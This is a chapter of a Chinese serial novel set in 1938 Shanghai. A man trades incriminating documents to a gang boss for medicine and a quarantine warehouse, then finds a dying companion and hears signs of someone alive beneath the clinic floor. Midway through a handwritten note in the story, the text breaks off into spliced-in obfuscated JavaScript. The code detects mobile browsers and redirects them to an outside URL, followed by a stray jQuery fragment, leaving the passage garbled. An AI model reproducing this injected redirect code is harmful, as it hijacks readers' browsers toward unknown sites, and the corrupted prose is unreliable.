1938年5月6日,傍晚六时,法租界边缘某私人俱乐部
空气中弥漫着雪茄的浓烈气息、昂贵香水的甜腻,以及一种更深沉、更难以捉摸的——权力的味道。厚重的天鹅绒窗帘隔绝了外界的暮色与喧嚣,水晶吊灯投下过分明亮却冰冷的光,照亮长条餐桌旁几张或凝重、或精明、或略带焦躁的面孔。
这里是上海滩最隐秘的权力场之一,不属于任何公开的帮派或政府,而是由几位背景复杂、能量通天的“闻人”私下维持。顾沉舟坐在下首,他换了一身剪裁合体的深灰色西装,头发梳得一丝不苟,脸上因连续奔波而刻下的疲惫被刻意掩饰,只剩下惯常的、带着疏离感的冷静。但他眼底深处那抹几乎凝为实质的焦虑与决绝,瞒不过桌上这些老狐狸的眼睛。
主位上,被称为“杜先生”的男人年约五旬,面庞圆润,总带着和气的笑容,眼神却如深潭,不起波澜。他慢条斯理地用银质餐刀切割着盘中的牛排,仿佛眼前并非一场决定无数人生死的紧急会议,而只是一次寻常的晚宴。
“顾贤侄,”杜先生放下餐刀,用餐巾拭了拭嘴角,声音温和,“你托人传的话,我都晓得了。磺胺,还有血清,东西紧俏,市面上有价无市,日本人盯得又紧……难办啊。”
坐在杜先生右手边的一个瘦高个、戴金丝眼镜的男人接口,他是某大洋行的华人买办,路子野:“杜先生说得是。日本人最近像疯狗一样,所有跟药品、防疫有关的渠道都加了双岗。别说磺胺,就是普通的奎宁、阿司匹林,出货量都严控。更别提血清,那玩意儿得现配,针对什么病配什么血清,闸北那边的情况……”他摇摇头,讳莫如深。
顾沉舟没有看那买办,目光依旧落在杜先生脸上:“杜先生,难办,不代表不能办。上海滩,还没有您杜先生办不到的事——只要价码合适。”他顿了顿,从怀中取出一个扁平的丝绒盒子,推到桌子中央,“这是定金。”
盒子打开,里面并非金银珠宝,而是几份泛黄的、边缘磨损的文件副本,以及几张模糊但关键的照片。照片上,有陈敬山与日本商会的密谈,有永丰仓库外围的诡异守卫部署,甚至有一张极其模糊、但能辨认出是某种穿着防护服人员在操作不明设备的偷拍。
“这是‘樱花计划’部分外围证据的副本。”顾沉舟的声音平稳,却字字千钧,“原件和更多关键情报,包括其德方主导者、部分技术参数、以及……近期‘意外事故’的一些内部评估报告,在我安全的地方。这些东西,足以让东京和柏林的外交官们头疼一阵子,也足以让某些想在战争里发‘国难财’、或者想脚踏两条船的人……身败名裂。”
桌上一片死寂。雪茄的烟雾都仿佛凝固了。
杜先生脸上的笑容淡了些,眼神锐利地扫过那些文件照片,又看向顾沉舟:“顾贤侄,你这是在威胁我?”
“不敢。”顾沉舟微微倾身,“是交易。我用这些‘麻烦’,换杜先生帮我解决另一个‘麻烦’——药品,和一条安全的、能暂时安置一些‘特殊病人’的通道。这对杜先生而言,不过是举手之劳。但对我,对很多可能无辜送命的人,是救命的稻草。”
他身体后靠,语气放缓,却更显分量:“况且,杜先生,闸北的‘麻烦’如果控制不住,飘过了苏州河,飘进了租界……到时候,您手里的地产、航运、纱厂,还能值几个钱?租界的洋大人们,还会像现在这样,跟您坐在一张桌子上吃饭吗?”
这番话,软硬兼施,直击要害。既点明了顾沉舟手握的筹码足以让在座某些与日方有隐秘勾连的人寝食难安,又指出了疫情失控可能带来的、波及所有人尤其是这些利益所得者们的毁灭性后果。
杜先生沉默着,手指无意识地在光滑的桌面上敲击,节奏竟与昭华之前听到的地下敲击声有几分诡秘的相似。他目光扫过桌上其他人。买办眼神闪烁,避开了对视;另一个与法租界公董局关系密切的法国通事,则若有所思地捏着下巴。
“你要多少?”杜先生终于开口。
“磺胺,先要五十支。针对鼠疫、炭疽、以及可能混合感染的广谱抗毒血清,尽可能搞到,哪怕只有几份实验性样品。另外,”顾沉舟直视杜先生,“我需要您‘白鸽’码头三号仓库,借用一周,我会把它改造成临时的隔离观察点,需要您的人行个方便,睁只眼闭只眼。”
“五十支磺胺……你胃口不小。”杜先生沉吟,“白鸽码头三号仓……可以,但只能给你五天。五天后,我有批‘正经货’要到。”
“成交。”顾沉舟知道这是极限,“药品什么时候能到?”
“明晚之前,我会让人送到‘白鸽’三号仓。血清……我尽力,但别抱太大希望。”杜先生重新拿起餐刀,切割的动作却快了几分,仿佛已经下了决断,“顾贤侄,东西我给你,通道我给你。但丑话说在前头,这件事,从头到尾,与我,与在座各位,没有任何关系。你的人,你的‘病人’,出了任何事,你自己扛。那些文件……”他抬眼,目光如刀,“我希望永远不见天日,除非……我允许它们见天日。”
“自然。”顾沉舟点头,“杜先生是信人,我顾沉舟,也是。”
一场关乎药品、通道与血腥情报的交易,在杯盏与烟雾中悄然达成。没有握手,没有契约,只有彼此心知肚明的底线与威胁。
顾沉舟起身告辞,走到门口时,杜先生忽然叫住他,语气恢复了惯常的温和,却多了一丝难以言喻的意味:“顾贤侄,听说……你身边那位沈小姐,病得不轻?”
顾沉舟背脊微微一僵,没有回头:“劳杜先生挂心。一些风寒罢了。”
“呵呵,风寒……”杜先生轻笑,“这世道,风寒也能要人命。顾贤侄,重情义是好事,但有时候,也要懂得……取舍。码头仓库,地方宽敞,该隔离的,就好好隔离。”
这话里的暗示,冰冷刺骨。顾沉舟没有回应,拉开门,大步走了出去。
门外的走廊空旷安静,与室内的浮华喧嚣判若两个世界。顾沉舟快步走向楼梯,直到坐进等候的汽车里,紧绷的神经才稍稍松弛,随之而来的是更深的疲惫和焦灼。他看了一眼怀表,离他离开赵大夫诊所已经过去了四个小时。
“去赵大夫那里,快。”他吩咐司机。
车子在渐渐浓重的夜色中疾驰。顾沉舟闭上眼,脑海里复盘着刚才的谈判,计算着药品到位的时间,规划着码头仓库的改造和人员安排。但昭华那张苍白痛苦的脸,以及她写下“人际传染”推测时决绝的眼神,总是无法抑制地闯入思绪。
还有那份她记录的症状……暗红色胶冻状咳出物、皮下出血、快速衰竭……这些特征,与他记忆中父亲弥留时的描述,惊人地重合,却又似乎更加暴烈。父亲当年是否也接触过类似“樱花”的初代产物?是否也是这种“意外”的牺牲品?
线索在黑暗中渐渐串联,指向一个更庞大、更久远、也更黑暗的阴谋。但此刻,他无暇深究。救人是第一位的。
晚八时,赵大夫诊所后院
夜色彻底笼罩了小院。赵大夫没有点灯,只在堂屋点了一盏如豆的油灯,映得他脸色晦暗不明。他坐在桌旁,面前摊开着几本泛黄的医书,手指无意识地敲击着桌面,眼神却飘向后厢房紧闭的门。
“鹞子”被隔离在灶披间旁边的小杂物房,偶尔传来几声压抑的咳嗽。赵妻的症状似乎稳定了些,但依旧低烧。
顾沉舟悄无声息地进来,带进一股夜风的凉意。
“顾先生!”赵大夫立刻起身,压低声音,“你可回来了!沈小姐她……下午情况恶化,咳血加剧,之后似乎昏迷了一阵。我送药时,唤她不应,但能听到里面还有呼吸声。我不敢贸然进去。”
顾沉舟的心猛地一沉:“药她吃了吗?”
“门口的碗空了,应是吃了。”
顾沉舟点点头,这至少说明她还有意识自主进食。他走到通往后院的布帘前,停下:“赵大夫,杜先生那边答应了,明晚之前有磺胺送到‘白鸽’码头三号仓。那里我会改造成临时隔离点。一旦药品到位,我需要你协助,将沈小姐和‘鹞子’秘密转移过去。那里条件可能依旧简陋,但更隐蔽,也方便集中用药和观察。”
赵大夫眼中闪过一丝希望,随即又被忧虑取代:“转移……沈小姐现在的情况,移动会不会有风险?而且,她提到的那种……传染可能……”
“风险必须冒。留在这里,一旦租界巡捕或日本人再来,或者疫情消息彻底捂不住引发恐慌,这里就是死地。”顾沉舟语气斩钉截铁,“转移过程我会安排最稳妥的方式,尽量减轻震荡。至于传染……”他顿了顿,“做好最严格的防护。赵大夫,您和尊夫人的恩情,顾某铭记。转移之后,您和尊夫人也请暂时离开诊所,去我安排的地方避一避,观察一段时间。”
赵大夫叹了口气,知道这是最好的安排:“老夫明白。只是沈小姐记录的那些……”他指了指桌上昭华之前传递出来的、沾着血点的纸页。
顾沉舟拿起那几张纸,就着昏黄的灯光迅速浏览。前面是详细的症状记录,触目惊心。最后一张纸的下方,是几行几乎无法辨认的潦草字迹:“地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070523|195200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下……敲击……疑似玫瑰……还活……位置下……需查……词似……N…U…A… 或数字……速……”
“地下敲击?疑似玫瑰还活?”顾沉舟瞳孔骤然收缩,猛地抬头看向赵大夫,“这是什么时候写的?她怎么发现的?”
赵大夫也是一脸震惊茫然:“这……这是下午送药时,连同空碗一起放在门口的!字迹如此潦草,定是沈小姐在极痛苦或神智模糊时匆匆写就!地下敲击?玫瑰还活着?这怎么可能!这里是法租界,我这院子几十年了,下面怎么可能……”
顾沉舟顾不上解释,几步冲到后厢房门口,侧耳倾听。里面一片死寂,只有极其微弱、不规律的呼吸声。他轻轻敲了敲门,低唤:“沈昭华?沈昭华!”
没有回应。
他犹豫了一瞬,对跟上来的赵大夫道:“赵大夫,给我口罩,手套,还有您的听诊器。”
“顾先生,你要进去?太危险了!”
“我必须确认她的状态,也要弄清楚这‘地下敲击’是怎么回事!”顾沉舟语气不容置疑。
赵大夫知道劝不住,迅速取来几层浸过药水的棉布口罩、橡胶手套,和一个简易的听诊器。顾沉舟将自己包裹严实,深吸一口气,用赵大夫给的备用钥匙,轻轻打开了门锁。
一股混杂着血腥、药味和病体特有气息的浑浊空气扑面而来。房间里光线昏暗,他看到昭华蜷缩在远离门窗的角落里,身下草席凌乱,旁边散落着纸张和滚落的铅笔。
他快步走近,蹲下身。昭华双眼紧闭,脸颊是不正常的潮红,嘴唇干裂发绀,呼吸浅而急促,胸廓起伏艰难。他戴上手套,轻轻翻开她的眼皮查看,又用听诊器贴近她的胸口。肺部听诊音极其粗糙,布满湿啰音和哮鸣音,心跳快而无力。
状况比想象的更糟。高烧、严重肺部感染、可能的心肺功能衰竭……她正在快速滑向深渊。
顾沉舟的心狠狠揪紧。他轻轻拍了拍她的脸颊:“沈昭华!醒醒!听得到我吗?”
昭华的眼睫颤动了几下,勉强睁开一条缝,眼神涣散,无法聚焦,嘴唇翕动,却发不出清晰的声音。
“地下……敲击……怎么回事?玫瑰?”顾沉舟贴近她,压低声音急问。
听到“玫瑰”二字,昭华眼中似乎闪过极其微弱的一丝清明。她费力地转动眼珠,看向地面,手指极其轻微地、颤抖着,似乎想指向某个方向,但终究无力抬起。
顾沉舟顺着她目光看去,那是房间中央靠近墙壁的一块普通青砖地面,与其他地方并无二致。
他立刻俯身,将耳朵紧贴在那块青砖上,屏息凝神。
一片寂静。只有远处街市隐约的声响,和厢房内昭华艰难的呼吸。
他耐心等待,手指无意识地在地面上敲击,模仿昭华字迹里提到的节奏:“哒……哒哒哒……哒……哒哒……”
敲击声在寂静中格外清晰。
几秒钟后——
“咚。”
一声极其轻微、沉闷的回应,从青砖下方传来!仿佛隔着厚厚的土层和砖石!
顾沉舟浑身一震!不是幻觉!下面真的有人!
他立刻换了一种更明确的询问节奏敲击。
下方再次传来回应,比刚才稍微清晰了一点,但仍然混乱、虚弱,夹杂着微不可闻的、仿佛物体拖拽摩擦的声响,却再也没有清晰的码子。
顾沉舟脸色铁青。昭华写的没错。下面有人活着,很可能是玫瑰姐!但她怎么会在赵大夫诊所地下?是秘密囚禁?还是意外逃脱后的藏身之所?那个“N…U…A…”又是什么意思?
无数疑问涌上心头,但眼下最重要的是昭华和下面可能幸存者的生命!
他迅速起身,对门外焦急等待的赵大夫低声道:“赵大夫,下面确实有动静!我现在没法细查,必须立刻开始转移准备!你马上收拾必要的医疗器械和药品,我们连夜准备,一旦杜先生的药到位,立刻转移沈小姐和‘鹞子’!下面的人……我另外想办法!”
赵大夫连连点头。
顾沉舟最后看了一眼昏迷中的昭华,和她身下那块沉默的青砖。地下是可能的幸存者与谜团,地上是垂死的战友与迫在眉睫的疫情扩散危机。
时间,从未如此奢侈,也从未如此残忍。
他轻轻关上门,将那微弱的生命之火与地下的秘密暂时封存。转身投入更加紧张、更加凶险的夜色之中。
一场与死神、与阴谋、与时间的无声博弈,进入了下半场最惨烈的阶段。而棋盘上的棋子,每一个都命悬一线。